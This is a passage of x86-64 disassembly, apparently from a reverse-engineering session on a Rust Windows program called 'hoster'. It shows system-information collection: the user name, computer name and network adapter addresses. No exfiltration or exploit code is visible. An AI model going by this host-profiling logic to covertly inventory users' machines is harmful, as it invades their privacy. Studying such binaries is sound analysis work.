mov r13, qword [rbx]
cmp r14, 1
je 0x14001e38a
lea rax, [rbx + 0x20]
movabs rdx, 0x7ffffffffffffff
lea rcx, [r14 + rdx]
and rcx, rdx
mov rdx, qword [rax]
cmp r13, rdx
cmovbe r13, rdx
add rax, 0x20
dec rcx
jne 0x14001e36d
jmp 0x14001e38a
xor r13d, r13d
mov rbx, qword [rsp + 0x50]
mov ecx, 0xe0
call fcn.1400618b7
mov rdi, rax
lea rdx, [rsp + 0x990]
mov r8d, 0x90
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov al, byte [rsp + 0xb0]
mov byte [rdi + 0x90], al
mov eax, dword [rsp + 0x750]
mov ecx, dword [rsp + 0x753]
mov dword [rdi + 0x91], eax
mov dword [rdi + 0x94], ecx
mov qword [rdi + 0x98], rbx
mov rax, qword [rsp + 0x60]
mov qword [rdi + 0xa0], rax
mov qword [rdi + 0xa8], r14
movdqa xmm0, xmmword [rsp + 0x810]
movdqa xmm1, xmmword [rsp + 0x820]
movdqu xmmword [rdi + 0xb0], xmm0
movdqu xmmword [rdi + 0xc0], xmm1
mov qword [rdi + 0xd0], rsi
mov qword [rdi + 0xd8], r15
mov ecx, 1
xor eax, eax
lock cmpxchg qword [0x14038d0a8], rcx
test rax, rax
je 0x14001e463
cmp rax, 1
jne 0x14001e44a
mov rax, qword [0x14038d0a8]
cmp rax, 1
jne 0x14001e44a
pause
jmp 0x14001e439
mov rcx, rdi
call fcn.140063ed4
mov edx, 8
mov rcx, rdi
call fcn.14002a3e0
mov bl, 1
jmp 0x14001e48d
mov qword [str._rustc_cc66ad468955717ab92600c770da8c1601a4ff33librarycore_src_fmtmod.rs], rdi
lea rax, fcn.140063ed4
mov qword [0x140265038], rax
mov eax, 2
xchg qword [0x14038d0a8], rax
mov qword [0x14038d2f0], r13
xor ebx, ebx
lea rsi, [rsp + 0x2e8]
mov rdi, qword [rsi - 0x28]
test rdi, rdi
je 0x14001e52b
mov r14, qword [rsp + 0x2b8]
mov rax, qword [rsp + 0x2d0]
test rax, rax
je 0x14001e505
lea rcx, [rdi + r14]
inc rcx
movdqa xmm0, xmmword [r14]
pmovmskb edx, xmm0
not edx
lea r8, [r14 + 0x10]
lea r15, [rsp + 0x990]
mov qword [r15], r14
mov qword [r15 + 8], r8
mov qword [r15 + 0x10], rcx
mov word [r15 + 0x18], dx
mov qword [r15 + 0x20], rax
mov rcx, r15
call fcn.14006182a
test rax, rax
je 0x14001e505
mov rcx, qword [rax - 0x20]
mov rdx, qword [rax - 0x18]
call fcn.140096232
jmp 0x14001e4e9
lea r15, [rsp + 0x990]
mov rcx, r15
mov rdx, r14
mov r8, rdi
call fcn.140062a34
mov rcx, qword [r15]
mov rdx, qword [r15 + 8]
mov r8, qword [r15 + 0x10]
call fcn.1400108ae
mov rcx, rsi
call fcn.140063a92
lea rcx, [rsp + 0x298]
call fcn.140063e5d
mov rcx, qword [rsp + 0x280]
test rcx, rcx
je 0x14001e55a
mov rdx, qword [rsp + 0x288]
call fcn.14000dd3b
test bl, bl
jne 0x140029ce7
lea rdx, [0x140344cb2]
lea rsi, [rsp + 0x990]
mov r8d, 1
mov rcx, rsi
call fcn.14018b790
mov ebx, dword [rsi + 0x10]
mov rdi, qword [rsi]
cmp ebx, 2
je 0x140020722
lea rdx, [rsp + 0x9a4]
mov r14, qword [rdx - 0xc]
lea rsi, [rsp + 0x274]
mov r8d, 0x254
mov rcx, rsi
call sub.msvcrt.dll_memcpy
mov qword [rsi - 0x14], rdi
mov qword [rsi - 0xc], r14
mov dword [rsi - 4], ebx
lea rax, [rsp + 0x11a0]
and qword [rax], 0
mov qword [rsi + 0x254], rax
lea rsi, [rsp + 0x990]
lea rdx, [rsp + 0x260]
mov rcx, rsi
call fcn.140003b28
cmp byte [rsi + 0x18], 2
jne 0x14001e621
mov qword [rsp + 0x810], 8
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x818], xmm0
lea rcx, [rsp + 0x260]
call fcn.14000e0db
mov esi, 8
xor r13d, r13d
xor ebp, ebp
jmp 0x14001e7c8
mov ecx, pe_nt_image_headers64
call fcn.1400108b8
test rax, rax
je 0x140029d88
mov rsi, rax
lea rdi, [rsp + 0x990]
movdqu xmm0, xmmword [rdi]
movdqu xmm1, xmmword [rdi + 0x10]
movdqu xmmword [rax + 0x10], xmm1
movdqu xmmword [rax], xmm0
lea rdx, [rsp + 0x260]
mov r8d, 0x270
mov rcx, rdi
call sub.msvcrt.dll_memcpy
mov r13d, 1
lea r14, [rsp + 0x4d0]
lea r15, [rsp + 0xe20]
lea r12, [rsp + 0xf40]
mov ebp, 4
mov rcx, r14
mov rdx, rdi
call fcn.140003b28
cmp byte [rsp + 0x4e8], 2
je 0x14001e796
cmp r13, rbp
jne 0x14001e6bd
mov rbx, r13
inc rbx
jne 0x14001e6c6
mov rbp, r13
mov rdx, rbx
xor ecx, ecx
jmp 0x14001e766
lea rbx, [r13 + 1]
jmp 0x14001e76b
lea rbp, [r13*2]
cmp rbp, rbx
cmovbe rbp, rbx
cmp rbp, 5
mov eax, 4
cmovb rbp, rax
xor edx, edx
movabs rax, 0x3ffffffffffffff
cmp rbp, rax
setbe al
test r13, r13
je 0x14001e717
mov rcx, r13
shl rcx, 5
mov qword [rsp + 0xf40], rsi
mov qword [rsp + 0xf50], rcx
mov ecx, 8
jmp 0x14001e719
xor ecx, ecx
mov r8, rbp
shl r8, 5
mov dl, al
shl rdx, 3
mov qword [rsp + 0xf48], rcx
mov rcx, r15
mov r9, r12
call fcn.14008c98c
cmp qword [rsp + 0xe20], 0
mov rcx, qword [rsp + 0xe28]
je 0x14001e759
mov rdx, qword [rsp + 0xe30]
mov rbp, r13
jmp 0x14001e766
mov rsi, rcx
movabs rcx, 0x8000000000000001
call fcn.1400103ca
shl r13, 5
movdqu xmm0, xmmword [rsp + 0x4d0]
movdqu xmm1, xmmword [rsp + 0x4e0]
movdqu xmmword [rsi + r13 + 0x10], xmm1
movdqu xmmword [rsi + r13], xmm0
mov r13, rbx
jmp 0x14001e68a
lea rcx, [rsp + 0x4d0]
call fcn.140096945
lea rcx, [rsp + 0x990]
call fcn.14000e0db
mov qword [rsp + 0x810], rsi
mov qword [rsp + 0x818], rbp
mov qword [rsp + 0x820], r13
mov rdi, qword [rsp + 0x11a0]
test rdi, rdi
mov rax, qword [rsp + 0xa0]
jne 0x140020715
mov qword [rax + 0x270], rsi
mov qword [rax + 0x278], rbp
mov qword [rax + 0x280], r13
shl r13, 5
add r13, rsi
lea rdx, [rsp + 0xe20]
mov qword [rdx], rsi
mov qword [rdx + 8], r13
lea rsi, [rsp + 0x990]
mov rcx, rsi
call fcn.140004237
cmp byte [rsi + 0x48], 2
jne 0x14001e848
mov eax, 8
mov qword [rsp + 0x1a0], rax
xor eax, eax
mov qword [rsp + 0x1a8], rax
xor eax, eax
mov qword [rsp + 0xe0], rax
jmp 0x14001ea0c
mov rbx, qword [rsp + 0xe20]
mov r15, qword [rsp + 0xe28]
mov ecx, 0x140
call fcn.1400108b8
test rax, rax
je 0x140029dec
lea r14, [rsp + 0x990]
mov ecx, 0xa
mov qword [rsp + 0x1a0], rax
mov rdi, rax
mov rsi, r14
rep movsq qword [rdi], qword [rsi]
lea rsi, [rsp + 0xf40]
mov qword [rsi], rbx
mov qword [rsi + 8], r15
mov ebx, 4
mov eax, 1
mov qword [rsp + 0xe0], rax
movabs r12, 0x19999999999999a
lea rdi, [rsp + 0x4d0]
lea r15, [rsp + 0x260]
mov eax, 4
mov qword [rsp + 0x1a8], rax
mov rcx, r14
mov rdx, rsi
call fcn.140004237
cmp byte [rsp + 0x9d8], 2
je 0x14001e9ff
mov rcx, qword [rsp + 0xe0]
cmp rcx, qword [rsp + 0x1a8]
jne 0x14001e916
mov r13, rcx
inc r13
jne 0x14001e91f
mov qword [rsp + 0x1a8], rcx
mov rdx, r13
xor ecx, ecx
jmp 0x14001e9cb
lea r13, [rcx + 1]
jmp 0x14001e9d8
lea r9, [rcx + rcx]
cmp r9, r13
cmovbe r9, r13
cmp r9, 5
cmovb r9, rbx
xor edx, edx
cmp r9, r12
setb al
test rcx, rcx
je 0x14001e962
imul rcx, rcx, 0x50
mov r8, qword [rsp + 0x1a0]
mov qword [rsp + 0x260], r8
mov qword [rsp + 0x270], rcx
mov ecx, 8
jmp 0x14001e964
xor ecx, ecx
imul r8, r9, 0x50
mov dl, al
shl rdx, 3
mov qword [rsp + 0x268], rcx
mov rcx, rdi
mov rbp, r9
mov r9, r15
call fcn.14008c98c
cmp qword [rsp + 0x4d0], 0
mov rcx, qword [rsp + 0x4d8]
je 0x14001e9b1
mov rdx, qword [rsp + 0x4e0]
mov rax, qword [rsp + 0xe0]
mov qword [rsp + 0x1a8], rax
jmp 0x14001e9cb
mov qword [rsp + 0x1a8], rbp
mov qword [rsp + 0x1a0], rcx
movabs rcx, 0x8000000000000001
call fcn.1400103ca
mov rcx, qword [rsp + 0xe0]
imul rcx, rcx, 0x50
add rcx, qword [rsp + 0x1a0]
mov r8d, 0x50
mov rdx, r14
call sub.msvcrt.dll_memmove
mov qword [rsp + 0xe0], r13
jmp 0x14001e8d1
lea rcx, [rsp + 0x990]
call fcn.14000f218
mov rax, qword [rsp + 0xa0]
mov byte [rax + 0x288], 1
mov rbx, qword [rax + 0x280]
test rbx, rbx
je 0x14001eb51
mov rax, qword [rsp + 0xa0]
mov r13, qword [rax + 0x270]
add r13, 0x10
lea rsi, [0x1402736d3]
lea rbp, [0x1400603e9]
lea rdi, [0x1402736c0]
lea r14, [rsp + 0x990]
lea r15, [rsp + 0x260]
lea r12, str.hostersrc_main.rs
mov rcx, qword [r13 - 0x10]
mov rdx, qword [r13]
call fcn.14017b020
test rax, rax
je 0x14001eb44
mov r9d, 3
mov rcx, rax
mov r8, rsi
call fcn.1401a2d3f
test al, al
je 0x14001eb44
mov rcx, qword [r13 - 0x10]
mov rdx, qword [r13]
call fcn.14000b0cc
test al, al
je 0x14001eb44
mov rcx, qword [r13 - 0x10]
mov rdx, qword [r13]
call fcn.14000ae2b
mov qword [rsp + 0xf40], rax
test rax, rax
je 0x14001eb3a
lea rcx, [rsp + 0xf40]
mov qword [rsp + 0x4d0], rcx
mov rcx, qword [0x14038d2f0]
cmp rcx, 2
jb 0x14001eb3c
lea rax, [rsp + 0x4d0]
mov qword [rsp + 0x260], rax
mov qword [rsp + 0x268], rbp
mov qword [rsp + 0x20], 1
mov r8d, 1
mov rcx, r14
mov rdx, rdi
mov r9, r15
call fcn.14000db98
mov edx, 2
mov rcx, r14
mov r8, r12
mov r9d, 0x9e
call fcn.14008c68e
mov rax, qword [rsp + 0xf40]
jmp 0x14001eb3c
xor eax, eax
mov rcx, rax
call fcn.14000fa68
add r13, 0x20
dec rbx
jne 0x14001ea6a
lea r8, [rsp + 0x4d0]
and dword [r8], 0
mov ecx, 3
xor edx, edx
call sub.secur32.dll_GetUserNameExW
test al, al
jne 0x140029d4d
call sub.kernel32.dll_GetLastError
cmp eax, 0xea
jne 0x14001ebc5
mov ecx, dword [rsp + 0x4d0]
call fcn.14019d365
mov rdi, rax
mov rsi, rdx
lea r8, [rsp + 0x260]
mov dword [r8], esi
mov ecx, 3
mov rdx, rax
call sub.secur32.dll_GetUserNameExW
test al, al
je 0x14001ebd4
mov r8d, dword [rsp + 0x260]
lea rcx, [rsp + 0x990]
mov rdx, rdi
call fcn.140158840
jmp 0x14001ec0f
lea rcx, [rsp + 0x990]
call fcn.14019d569
jmp 0x14001ec1a
mov ecx, 7
call fcn.14019d3bb
mov dword [rax], 0x6e6b6e55
mov dword [rax + 3], 0x6e776f6e
mov qword [rsp + 0x990], rax
mov qword [rsp + 0x998], rdx
mov qword [rsp + 0x9a0], 7
mov byte [rsp + 0x9a8], 1
mov rcx, rdi
mov rdx, rsi
call fcn.14019d415
lea rcx, [rsp + 0x11a0]
lea rdx, [rsp + 0x990]
call fcn.14019d42b
lea rsi, [rsp + 0x11b8]
lea rdi, [rsp + 0x990]
mov rcx, rdi
call fcn.14019d569
mov rcx, rsi
mov rdx, rdi
call fcn.14019d42b
mov rdx, qword [rsi]
mov r8, qword [rsi + 0x10]
lea rcx, [rsp + 0x1260]
call fcn.14004b8b0
lea r8, [rsp + 0x260]
and dword [r8], 0
mov ecx, 1
xor edx, edx
call sub.kernel32.dll_GetComputerNameExW
test eax, eax
jne 0x140029d5d
lea rbx, [rsp + 0x260]
mov ecx, dword [rbx]
call fcn.14019d365
mov rdi, rax
mov rsi, rdx
mov dword [rbx], esi
mov ecx, 1
mov rdx, rax
mov r8, rbx
call sub.kernel32.dll_GetComputerNameExW
test eax, eax
je 0x14001eccb
mov r8d, dword [rsp + 0x260]
lea rcx, [rsp + 0x990]
mov rdx, rdi
call fcn.140158840
jmp 0x14001ed06
mov ecx, 7
call fcn.14019d3bb
mov dword [rax], 0x6e6b6e55
mov dword [rax + 3], 0x6e776f6e
mov qword [rsp + 0x990], rax
mov qword [rsp + 0x998], rdx
mov qword [rsp + 0x9a0], 7
mov byte [rsp + 0x9a8], 1
mov rcx, rdi
mov rdx, rsi
call fcn.14019d415
lea rcx, [rsp + 0xde0]
lea rdx, [rsp + 0x990]
call fcn.14019d42b
lea rbx, [rsp + 0x260]
and dword [rbx], 0
xor ecx, ecx
xor edx, edx
mov r8, rbx
call sub.kernel32.dll_GetComputerNameExW
mov ecx, dword [rbx]
call fcn.14019d365
mov rdi, rax
mov rsi, rdx
mov dword [rbx], esi
xor ecx, ecx
mov rdx, rax
mov r8, rbx
call sub.kernel32.dll_GetComputerNameExW
test eax, eax
je 0x14001ed77
mov r8d, dword [rsp + 0x260]
lea rcx, [rsp + 0x990]
mov rdx, rdi
call fcn.140158840
jmp 0x14001edb6
mov ecx, 9
call fcn.14019d3bb
movabs rcx, 0x736f686c61636f6c
mov qword [rax], rcx
mov byte [rax + 8], 0x74
mov qword [rsp + 0x990], rax
mov qword [rsp + 0x998], rdx
mov qword [rsp + 0x9a0], 9
mov byte [rsp + 0x9a8], 1
mov rcx, rdi
mov rdx, rsi
call fcn.14019d415
lea rsi, [rsp + 0x260]
lea rdi, [rsp + 0x990]
mov rcx, rsi
mov rdx, rdi
call fcn.14019d42b
mov r8, qword [rsi]
mov r9, qword [rsi + 0x10]
xor eax, eax
cmp r9, rax
je 0x14001ee05
mov cl, byte [r8 + rax]
lea edx, [rcx - 0x41]
cmp dl, 0x1a
setb dl
shl dl, 5
or dl, cl
mov byte [r8 + rax], dl
inc rax
jmp 0x14001ede5
mov qword [rsp + 0xe00], r9
mov qword [rsp + 0x198], r8
mov rax, qword [rsp + 0x268]
mov qword [rsp + 0x248], rax
mov qword [rsp + 0x260], 8
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x268], xmm0
mov eax, 0x3a98
mov dword [rsp + 0x990], eax
call sub.kernel32.dll_GetProcessHeap
mov r8d, dword [rsp + 0x990]
mov rcx, rax
mov edx, 8
call fcn.1401b77b4
test rax, rax
je 0x1400299d3
mov rsi, rax
mov qword [rsp + 0x20], rdi
xor ecx, ecx
mov edx, 0x3e
xor r8d, r8d
mov r9, rax
call sub.iphlpapi.dll_GetAdaptersAddresses
cmp eax, 0x6f
jne 0x14001eea9
call sub.kernel32.dll_GetProcessHeap
mov rcx, rax
xor edx, edx
mov r8, rsi
call fcn.1401b77d4
mov eax, dword [rsp + 0x990]
add eax, eax
jmp 0x14001ee43
test eax, eax
jne 0x14002073f
mov ecx, 8
xor eax, eax
mov qword [rsp + 0xa8], rax
mov rax, rsi
lea rsi, [rsp + 0x4d0]
lea r15, [rsp + 0x990]
movdqa xmm6, xmmword [0x14026a5c0]
movdqa xmm7, xmmword [0x14026a5d0]
pxor xmm8, xmm8
mov qword [rsp + 0xe08], rax
test rax, rax
je 0x14001f6bf
mov qword [rsp + 0xb0], rcx
mov rcx, qword [rax + 8]
mov qword [rsp + 0xe8], rcx
mov r13, qword [rax + 0x18]
lea rcx, [rax + 4]
mov qword [rsp + 0xd8], rcx
mov qword [rsp + 0xc0], rax
add rax, 0x6c
mov qword [rsp + 0xd0], rax
test r13, r13
je 0x14001f6aa
mov rax, r13
mov r13, qword [r13 + 8]
cmp dword [rax + 0x28], 4
jne 0x14001ef31
mov rdx, qword [rax + 0x10]
mov rcx, rsi
call fcn.14008aacf
movzx eax, byte [rsp + 0x4d0]
cmp eax, 2
je 0x14001ef31
test eax, eax
jne 0x14001f047
mov ebp, dword [rsp + 0x4d1]
mov rax, qword [rsp + 0xc0]
mov rdi, qword [rax + 0xb0]
mov dword [rsp + 0x60], ebp
mov r12b, 2
test rdi, rdi
je 0x14001f482
mov rsi, qword [rdi + 8]
mov rdx, qword [rdi + 0x10]
mov rcx, r15
call fcn.14008aacf
mov al, byte [rsp + 0x990]
cmp al, 2
je 0x14001f03f
and al, 1
jne 0x14001f03f
and dword [rsp + 0xe20], 0
mov eax, dword [rdi + 0x20]
lea rdx, [rax + 7]
shr rdx, 3
mov r8d, dword [rsp + 0x991]
xor r9d, r9d
xor r10d, r10d
sub rdx, 1
jb 0x14001f326
cmp r10, 4
je 0x14001f326
lea r11, [r10 + 1]
mov dword [rsp + 0xf40], ebp
mov bl, byte [rsp + r10 + 0xf40]
mov dword [rsp + 0xf40], r8d
xor bl, byte [rsp + r10 + 0xf40]
xor ecx, ecx
cmp rcx, 8
je 0x14001f036
lea rdi, [r9 + rcx]
cmp rdi, rax
ja 0x14001f036
mov dil, pe_nt_image_headers64
shr dil, cl
test dil, bl
jne 0x14001f03f
or byte [rsp + r10 + 0xe20], dil
inc rcx
jmp 0x14001f00f
add r9, 8
mov r10, r11
jmp 0x14001efd6
mov rdi, rsi
jmp 0x14001ef82
movzx eax, word [rsp + 0x4d1]
movzx ecx, word [rsp + 0x4d3]
mov word [rsp + 0x118], ax
rol ax, 8
mov word [rsp + 0x70], ax
movzx eax, word [rsp + 0x4d5]
mov word [rsp + 0x258], cx
rol cx, 8
mov word [rsp + 0x90], cx
movzx ecx, word [rsp + 0x4d7]
mov word [rsp + 0x1b8], ax
rol ax, 8
mov word [rsp + 0x98], ax
movzx eax, word [rsp + 0x4d9]
mov word [rsp + 0x1b0], cx
rol cx, 8
mov word [rsp + 0x58], cx
movzx ecx, word [rsp + 0x4db]
mov word [rsp + 0xce], ax
rol ax, 8
mov word [rsp + 0x68], ax
movzx eax, word [rsp + 0x4dd]
mov word [rsp + 0xe18], cx
rol cx, 8
mov word [rsp + 0x78], cx
movzx ecx, word [rsp + 0x4df]
mov word [rsp + 0xe10], ax
rol ax, 8
mov word [rsp + 0x88], ax
mov word [rsp + 0x808], cx
rol cx, 8
mov word [rsp + 0x80], cx
mov rax, qword [rsp + 0xc0]
mov rsi, qword [rax + 0xb0]
test rsi, rsi
je 0x14001f49c
mov rdi, qword [rsi + 8]
mov rdx, qword [rsi + 0x10]
mov rcx, r15
call fcn.14008aacf
test byte [rsp + 0x990], 1
je 0x14001f31e
mov qword [rsp + 0xb8], rdi
movdqa xmmword [rsp + 0xe20], xmm8
mov eax, dword [rsi + 0x20]
lea rdx, [rax + 0xf]
shr rdx, 4
movzx ecx, word [rsp + 0x991]
movzx r8d, word [rsp + 0x993]
movzx r10d, word [rsp + 0x995]
movzx r11d, word [rsp + 0x997]
movzx ebp, word [rsp + 0x999]
movzx r14d, word [rsp + 0x99b]
movzx r12d, word [rsp + 0x99d]
movzx esi, word [rsp + 0x99f]
rol cx, 8
mov word [rsp + 0x50], cx
rol r8w, 8
mov word [rsp + 0x60], r8w
rol r10w, 8
rol r11w, 8
rol bp, 8
rol r14w, 8
rol r12w, 8
rol si, 8
xor r15d, r15d
xor edi, edi
sub rdx, 1
jb 0x14001f37c
cmp rdi, 8
je 0x14001f37c
lea rbx, [rdi + 1]
movzx ecx, word [rsp + 0x70]
mov word [rsp + 0xf40], cx
movzx ecx, word [rsp + 0x90]
mov word [rsp + 0xf42], cx
movzx ecx, word [rsp + 0x98]
mov word [rsp + 0xf44], cx
movzx ecx, word [rsp + 0x58]
mov word [rsp + 0xf46], cx
movzx ecx, word [rsp + 0x68]
mov word [rsp + 0xf48], cx
movzx ecx, word [rsp + 0x78]
mov word [rsp + 0xf4a], cx
movzx ecx, word [rsp + 0x88]
mov word [rsp + 0xf4c], cx
movzx ecx, word [rsp + 0x80]
mov word [rsp + 0xf4e], cx
movzx r8d, word [rsp + rdi*2 + 0xf40]
movzx ecx, word [rsp + 0x50]
mov word [rsp + 0xf40], cx
movzx ecx, word [rsp + 0x60]
mov word [rsp + 0xf42], cx
mov word [rsp + 0xf44], r10w
mov word [rsp + 0xf46], r11w
mov word [rsp + 0xf48], bp
mov word [rsp + 0xf4a], r14w
mov word [rsp + 0xf4c], r12w
mov word [rsp + 0xf4e], si
xor r8w, word [rsp + rdi*2 + 0xf40]
xor ecx, ecx
cmp rcx, 0x10
je 0x14001f302
lea r9, [r15 + rcx]
cmp r9, rax
ja 0x14001f302
mov r9d, 0x8000
shr r9d, cl
test r9w, r8w
jne 0x14001f30e
or word [rsp + rdi*2 + 0xe20], r9w
inc rcx
jmp 0x14001f2d6
add r15, 0x10
mov rdi, rbx
jmp 0x14001f1e8
lea r15, [rsp + 0x990]
mov rdi, qword [rsp + 0xb8]
mov rsi, rdi
jmp 0x14001f12a
movzx edx, byte [rsp + 0xe20]
mov cl, byte [rsp + 0xe22]
mov al, byte [rsp + 0xe23]
movzx r8d, byte [rsp + 0xe21]
shl r8d, 8
or r8d, edx
movd xmm0, r8d
mov dword [rsp + 0xf40], ebp
xor edx, edx
cmp rdx, 4
je 0x14001f42a
mov r8b, byte [rsp + rdx + 0xe20]
not r8b
or byte [rsp + rdx + 0xf40], r8b
inc rdx
jmp 0x14001f35a
movzx eax, word [rsp + 0xe20]
movzx ecx, word [rsp + 0xe22]
movzx edx, word [rsp + 0xe24]
movzx r8d, word [rsp + 0xe26]
movzx r9d, word [rsp + 0xe28]
movzx r10d, word [rsp + 0xe2a]
movzx r11d, word [rsp + 0xe2c]
rol ax, 8
rol cx, 8
rol dx, 8
rol r8w, 8
rol r9w, 8
rol r10w, 8
rol r11w, 8
movzx esi, word [rsp + 0xe2e]
rol si, 8
movd xmm0, esi
movd xmm1, r11d
punpcklwd xmm1, xmm0
movd xmm0, r10d
movd xmm2, r9d
punpcklwd xmm2, xmm0
punpckldq xmm2, xmm1
movd xmm0, r8d
movd xmm1, edx
punpcklwd xmm1, xmm0
movd xmm0, ecx
movd xmm9, eax
punpcklwd xmm9, xmm0
punpckldq xmm9, xmm1
punpcklqdq xmm9, xmm2
jmp 0x14001f4a1
pand xmm0, xmm6
movzx ecx, cl
movd xmm1, ecx
pslld xmm1, 0x10
movdqa xmm2, xmm6
pandn xmm2, xmm1
por xmm2, xmm0
pand xmm2, xmm7
movzx eax, al
movd xmm0, eax
pslld xmm0, 0x18
por xmm0, xmm2
movd dword [rsp + 0x70], xmm0
movd xmm0, dword [rsp + 0xf40]
movd dword [rsp + 0x250], xmm0
mov al, 1
mov dword [rsp + 0x50], eax
mov rax, qword [rsp + 0xd8]
jmp 0x14001f4b0
mov dword [rsp + 0x70], 0
mov rax, qword [rsp + 0xd8]
mov dword [rsp + 0x50], 0
jmp 0x14001f4b0
pxor xmm9, xmm9
xor r12d, r12d
mov rax, qword [rsp + 0xd0]
mov dword [rsp + 0x50], ecx
mov esi, dword [rax]
xor r15d, r15d
test esi, esi
setne r14b
mov rax, qword [rsp + 0xc0]
mov rdi, qword [rax + 0x10]
mov rcx, rdi
call sub.msvcrt.dll_strlen
lea r8, [rax + 1]
lea rcx, [rsp + 0x990]
mov rdx, rdi
call fcn.14004a8b0
mov rbx, qword [rsp + 0x990]
mov rbp, qword [rsp + 0x9a0]
test rbx, rbx
je 0x14001f502
mov rdi, qword [rsp + 0x998]
jmp 0x14001f545
mov rdi, qword [rsp + 0x998]
test rbp, rbp
je 0x14001f52f
js 0x140029ba4
mov ecx, 1
mov rdx, rbp
call fcn.14008ffa5
mov rbx, rax
test rax, rax
jne 0x14001f534
jmp 0x140029ae4
mov ebx, 1
mov rcx, rbx
mov rdx, rdi
mov r8, rbp
call sub.msvcrt.dll_memcpy
mov rdi, rbp
mov rdx, qword [rsp + 0xa8]
mov r15b, r14b
cmp rdx, qword [rsp + 0x268]
jne 0x14001f579
lea rcx, [rsp + 0x260]
call fcn.14008a9f9
mov r9, qword [rsp + 0x260]
mov rdx, qword [rsp + 0x270]
jmp 0x14001f581
mov r9, qword [rsp + 0xb0]
mov r10d, dword [rsp + 0x60]
mov r11d, dword [rsp + 0x70]
mov ecx, dword [rsp + 0x50]
mov r8, rdx
imul rax, rdx, 0x58
mov dword [r9 + rax], r15d
mov dword [r9 + rax + 4], esi
mov qword [r9 + rax + 8], rbx
mov qword [r9 + rax + 0x10], rdi
mov qword [r9 + rax + 0x18], rbp
mov byte [r9 + rax + 0x20], r12b
mov byte [r9 + rax + 0x21], cl
mov ecx, dword [rsp + 0x250]
mov dword [r9 + rax + 0x22], ecx
mov dword [r9 + rax + 0x26], r10d
mov dword [r9 + rax + 0x2a], r11d
movzx ecx, word [rsp + 0x4d0]
mov word [r9 + rax + 0x2e], cx
mov cl, byte [rsp + 0x4d2]
mov byte [r9 + rax + 0x30], cl
movzx ecx, word [rsp + 0x118]
mov word [r9 + rax + 0x31], cx
movzx ecx, word [rsp + 0x258]
mov word [r9 + rax + 0x33], cx
movzx ecx, word [rsp + 0x1b8]
mov word [r9 + rax + 0x35], cx
movzx ecx, word [rsp + 0x1b0]
mov word [r9 + rax + 0x37], cx
movzx ecx, word [rsp + 0xce]
mov word [r9 + rax + 0x39], cx
movzx ecx, word [rsp + 0xe18]
mov word [r9 + rax + 0x3b], cx
movzx ecx, word [rsp + 0xe10]
mov word [r9 + rax + 0x3d], cx
movzx ecx, word [rsp + 0x808]
mov word [r9 + rax + 0x3f], cx
movdqu xmmword [r9 + rax + 0x41], xmm9
mov ecx, dword [rsp + 0x990]
mov edx, dword [rsp + 0x993]
mov dword [r9 + rax + 0x54], edx
mov qword [rsp + 0xb0], r9
mov dword [r9 + rax + 0x51], ecx
inc r8
mov rax, r8
mov qword [rsp + 0xa8], r8
mov qword [rsp + 0x270], r8
lea rsi, [rsp + 0x4d0]
lea r15, [rsp + 0x990]
jmp 0x14001ef31
mov rax, qword [rsp + 0xe8]
mov rcx, qword [rsp + 0xb0]
jmp 0x14001eef0
mov rdi, qword [rsp + 0x260]
mov rsi, qword [rsp + 0x268]
call sub.kernel32.dll_GetProcessHeap
mov rcx, rax
xor edx, edx
mov r8, qword [rsp + 0xe08]
call fcn.1401b77d4
test rdi, rdi
je 0x14002076c
mov rax, qword [rsp + 0xa8]
test rax, rax
mov qword [rsp + 0x88], rsi
je 0x14001f74a
movabs rax, 0x111111111111112
cmp qword [rsp + 0xa8], rax
mov rax, qword [rsp + 0xa8]
jae 0x140029ba4
imul rsi, rax, 0x78
mov rcx, rsi
call fcn.1400108b8
mov rcx, rax
mov rax, qword [rsp + 0xa8]
mov qword [rsp + 0x68], rcx
test rcx, rcx
jne 0x14001f754
jmp 0x140029bab
mov ecx, 8
mov qword [rsp + 0x68], rcx
imul rbp, rax, 0x58
add rbp, rdi
pxor xmm6, xmm6
mov qword [rsp + 0x80], rdi
mov rsi, rdi
xor r14d, r14d
mov qword [rsp + 0x78], rbp
cmp rsi, rbp
mov qword [rsp + 0x98], r14
je 0x14002005b
lea r13, [rsi + 0x58]
mov eax, dword [rsi]
cmp eax, 2
je 0x14002005e
add rsi, 4
mov ecx, 0x15
lea rdx, [rsp + 0xf40]
mov rdi, rdx
rep movsd dword [rdi], dword [rsi]
mov dword [rsp + 0x4d0], eax
mov ecx, 0x15
lea rdi, [rsp + 0x4d4]
mov rsi, rdx
rep movsd dword [rdi], dword [rsi]
mov rax, qword [0x14038d2f0]
cmp rax, 4
jbe 0x14001f82d
lea rax, [rsp + 0x4d0]
mov qword [rsp + 0x260], rax
lea rax, [0x14008ab1c]
mov qword [rsp + 0x268], rax
mov qword [rsp + 0x20], 1
mov r8d, 1
mov rcx, r15
lea rdx, str._rustc_cc66ad468955717ab92600c770da8c1601a4ff33librarycore_src_fmtmod.rs
lea r9, [rsp + 0x260]
call fcn.14000db98
mov edx, 5
mov rcx, r15
lea r8, str.hoster::system_information::network_interfacessrc_system_information_network_interfaces.rs
mov r9d, 0x1c
call fcn.14008c68e
cmp byte [rsp + 0x4f0], 2
lea rcx, [rsp + 0x4d8]
jne 0x14001f859
mov esi, 0x34767069
mov eax, dword [rsp + 0x4f6]
mov dword [rsp + 0x50], eax
mov dword [rsp + 0x60], 0
jmp 0x14001f885
mov eax, dword [rsp + 0x501]
mov dword [rsp + 0x50], eax
mov rax, qword [rcx + 0x2d]
mov qword [rsp + 0x140], rax
mov eax, dword [rcx + 0x35]
mov dword [rsp + 0x148], eax
mov al, 1
mov dword [rsp + 0x60], eax
mov esi, 0x36767069
mov eax, dword [rsp + 0x148]
mov dword [rsp + 0x1c8], eax
mov rax, qword [rsp + 0x140]
mov qword [rsp + 0x1c0], rax
mov ecx, 4
call fcn.14019d3bb
mov dword [rax], esi
cmp byte [rsp + 0x4f0], 2
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x90], rdx
jne 0x14001f8d3
cmp byte [rsp + 0x4f6], 0x7f
jmp 0x14001f989
movzx eax, word [rsp + 0x501]
movzx ecx, word [rsp + 0x503]
movzx edx, word [rsp + 0x505]
movzx r8d, word [rsp + 0x507]
movzx r9d, word [rsp + 0x509]
movzx r10d, word [rsp + 0x50b]
movzx r11d, word [rsp + 0x50d]
movzx esi, word [rsp + 0x50f]
rol ax, 8
rol cx, 8
rol dx, 8
rol r8w, 8
rol r9w, 8
rol r10w, 8
rol r11w, 8
rol si, 8
movzx esi, si
